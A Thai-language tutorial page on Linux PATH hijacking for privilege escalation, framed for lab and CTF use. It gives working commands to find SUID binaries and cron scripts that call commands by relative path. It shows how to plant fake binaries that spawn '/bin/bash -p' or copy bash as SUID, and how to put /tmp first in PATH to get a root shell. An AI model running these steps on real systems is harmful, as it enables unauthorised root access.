PATH Hijacking
PATH Hijacking ใช้ประโยชน์จากโปรแกรม (มัก SUID หรือ cron ที่รันเป็น root) ที่เรียก command โดยไม่ใส่ full path — เราสร้าง binary ปลอมชื่อเดียวกันใน directory ที่อยู่ต้น PATH ทำให้ถูกรันแทน บทนี้ลงลึกกลไก PATH, การหาเป้า, การ exploit, และการตรวจ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ
เมื่อโปรแกรมเรียก command โดยไม่ใส่ full path (เช่น system("cat file") แทน system("/bin/cat file")) shell จะค้น command ตาม $PATH ทีละ directory จากซ้ายไปขวา ถ้าเราควบคุม PATH ได้ (หรือมี directory ที่เขียนได้อยู่ต้น PATH) เราวาง binary ปลอมชื่อเดียวกัน — มันจะถูกเจอและรันก่อนตัวจริง ถ้าโปรแกรมนั้นรันเป็น root (SUID/cron) binary ปลอมของเราก็รันเป็น root
2. หาเป้าหมาย
# 1. หา SUID binary (ดูหัวข้อ SUID)
find / -perm -4000 -type f 2>/dev/null
# 2. วิเคราะห์ว่าเรียก command อะไรแบบไม่ใส่ path
strings ./suid_binary | grep -vE '^/' # หาชื่อ command ที่ไม่ขึ้นต้นด้วย /
ltrace ./suid_binary 2>&1 | grep -iE 'system|exec|popen'
# เห็น เช่น: system("service apache2 status") ← เรียก 'service' ไม่ใส่ path
# 3. ดู PATH ปัจจุบัน
echo $PATH3. Exploit
# สมมติ SUID binary เรียก 'cat' แบบไม่ใส่ path
# สร้าง 'cat' ปลอมที่เปิด shell
cd /tmp
echo '#!/bin/bash' > cat
echo '/bin/bash -p' >> cat # -p รักษา privilege (root)
chmod +x cat
# วาง /tmp ไว้ต้น PATH
export PATH=/tmp:$PATH
# รัน SUID binary → มันเรียก 'cat' → เจอ /tmp/cat ของเราก่อน → root shell
./suid_binary
# หรือ payload เป็น SUID bash
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
./suid_binary
/tmp/rb -p # root4. PATH hijack กับ cron
cron jobs ก็ hijack ได้ถ้า script เรียก binary แบบ relative และ PATH ของ cron รวม directory ที่เราเขียนได้ — ต่างจาก SUID ตรงที่ cron มี PATH ของตัวเอง (ดูใน /etc/crontab บรรทัด PATH=)
# ดู PATH ของ cron
cat /etc/crontab | grep PATH
# เช่น PATH=/home/user/bin:/usr/bin ← /home/user/bin อยู่หน้า!
# ถ้า cron script เรียก 'backup' แบบ relative และ /home/user/bin เขียนได้
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /home/user/bin/backup
chmod +x /home/user/bin/backup
# รอ cron รัน (เป็น root) → /tmp/rb -p5. Quick Reference
- โปรแกรมเรียก command ไม่ใส่ full path → ค้นตาม PATH
- วาง binary ปลอมชื่อเดียวกันใน dir ต้น PATH → ถูกรันก่อนตัวจริง
- หาเป้า: SUID → strings/ltrace หา command ที่เรียก relative
- exploit: echo '/bin/bash -p' > /tmp/CMD; chmod +x; export PATH=/tmp:$PATH
- cron: ดู PATH ใน /etc/crontab; วางใน writable dir ที่อยู่หน้า
- -p รักษา privilege ของ root shell
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ SUID binary แปลกๆ (custom) แต่ยังไม่รู้จะ exploit ยังไง หรือเจอ cron ที่ตั้ง PATH เอง มีแค่ Kali เปล่าๆ ลองเช็คว่ามันเรียก command แบบไม่ใส่ full path ไหม ทำตามนี้ทีละขั้น
- 1พิมพ์ find / -perm -4000 -type f 2>/dev/null หา SUID binary ก่อน
- 2เจอตัวที่ไม่ใช่ binary มาตรฐาน (ping/su/sudo/passwd) ให้จำ path ไว้
- 3พิมพ์ strings ./suid_binary | grep -vE '^/' ดูว่ามีชื่อ command ที่ไม่ขึ้นต้นด้วย / โผล่มาไหม
- 4พิมพ์ ltrace ./suid_binary 2>&1 | grep -iE 'system|exec|popen' ยืนยันว่ามันเรียก system()/exec() กับ command อะไร
- 5ถ้าเห็นมันเรียก เช่น 'service' แทน '/usr/sbin/service' นั่นคือช่องโหว่
- 6พิมพ์ cd /tmp แล้ว echo '/bin/bash -p' > service (ใช้ชื่อ command ที่เจอจริง) แล้ว chmod +x service
- 7พิมพ์ export PATH=/tmp:$PATH เพื่อให้ shell หา command ใน /tmp ก่อน
- 8รัน SUID binary ตัวเดิมอีกครั้ง (./suid_binary)
- 9พิมพ์ id ทันที ต้องเห็น uid=0(root) ถ้าไม่ใช่ ให้เช็คว่า binary เรียกด้วย full path จริงๆ หรือ reset PATH เอง
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา SUID ที่จะวิเคราะห์ | find | - | gtfobins.github.io |
| ดูว่าเรียก command อะไรแบบ relative | strings, ltrace | - | - |
| สร้าง binary ปลอม | bash, chmod | - | - |
| ทดสอบ PATH hijack | export PATH= | - | - |
| หา cron ที่ตั้ง PATH ผิด | cat /etc/crontab | - | - |
| enumeration เสริม | - | linpeas | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้